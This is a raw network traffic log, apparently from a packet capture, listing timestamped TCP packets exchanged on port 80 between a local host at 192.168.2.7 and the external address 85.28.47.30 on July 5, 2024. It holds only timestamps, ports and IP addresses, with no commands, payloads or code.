Jul 5, 2024 06:23:02.277237892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.277244091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.277255058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.277259111 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.277261019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.277267933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.277282000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.277301073 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.277364969 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.277373075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.277384043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.277390003 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.277394056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.277400017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.277405977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.277419090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.277435064 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.277435064 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.277523994 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.283906937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.283941031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.283951044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.283972025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284019947 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284019947 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284049988 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284065008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284070015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284094095 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284128904 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284243107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284249067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284260035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284265041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284274101 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284282923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284291983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284296989 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284297943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284316063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284322977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284333944 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284333944 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284341097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284347057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284353018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284358025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284363985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284387112 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284420967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284424067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284431934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284442902 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284449100 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284493923 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284493923 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284542084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284548044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284558058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284563065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284568071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284590960 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284595013 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284603119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284612894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284617901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284637928 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284637928 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284656048 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284710884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284753084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.284763098 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.284800053 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.288348913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288408041 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.288506031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288511038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288516045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288526058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288528919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288532972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288539886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288544893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288551092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288558006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288559914 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.288592100 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.288614988 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.288655043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288661003 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288672924 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288688898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288701057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288706064 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288707018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.288712025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288724899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288736105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288736105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.288743019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288758039 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.288762093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288769007 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288774967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288779020 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288784027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288788080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288794994 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.288794994 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.288800001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288811922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288819075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288824081 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288830042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288834095 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288841009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288852930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288856983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288861036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.288861036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.288898945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288899899 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.288899899 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.288908005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288914919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288921118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288928986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.288966894 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.288966894 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.289031029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.289037943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.289047956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.289053917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.289060116 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.289072037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.289089918 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.289089918 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.289105892 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.289446115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.289452076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.289463043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.289467096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.289472103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.289510012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.289514065 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.289516926 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.289524078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.289530039 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.289551020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.289581060 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.359790087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.359879017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.359916925 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.359932899 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.359932899 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.359972000 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.359989882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.359997034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.360021114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.360038042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.360045910 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.360075951 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.360105991 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.371181965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.371247053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.371254921 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.371289968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.371296883 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.371298075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.371330976 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.371385098 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.371392012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.371397972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.371403933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.371447086 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.371447086 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.371448040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.371495008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.371500969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.371509075 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.371545076 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.371545076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.371551037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.371556044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.371594906 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.377850056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.377863884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.377868891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.377873898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.377881050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.377899885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.377904892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.377954006 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.377976894 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.378274918 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378279924 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378326893 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.378334045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378345966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378353119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378388882 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.378523111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378535032 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378540039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378546000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378551960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378562927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378566980 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.378567934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378575087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378586054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378598928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378607035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378607035 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.378617048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378623009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378633022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378635883 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.378640890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378647089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378652096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378659010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378669977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378669977 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.378678083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378679991 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.378686905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378693104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378699064 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378705978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.378720999 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.378720999 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.378761053 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.383577108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.383663893 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.533957005 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.534327984 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.538860083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.538867950 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.538872957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.538955927 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.541019917 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.542299986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542313099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542319059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542324066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542334080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542340040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542346001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542351007 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542351961 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.542356014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542361975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542368889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542373896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542376041 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.542381048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542386055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542397022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542444944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542448997 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.542448997 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.542459011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542464018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542469025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542474031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542479038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542484999 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542490959 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542498112 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542503119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542504072 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.542509079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542515993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542524099 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.542530060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542536020 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542546988 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542555094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542560101 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542561054 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.542561054 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.542566061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542572021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542577982 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542582989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542591095 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542596102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542603016 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.542635918 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.542656898 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.542675018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542680979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542691946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542696953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542701960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542706966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542721033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542732954 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542735100 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.542735100 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.542742014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542752981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542757988 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542781115 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.542812109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.542833090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.542891026 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543008089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543014050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543025017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543029070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543034077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543046951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543054104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543062925 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543071032 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543076992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543087959 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543093920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543097973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543103933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543114901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543118954 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543118954 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543128014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543134928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543145895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543149948 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543152094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543169022 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543204069 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543225050 CEST	80	49699	85.28.47.30	192.168.2.7
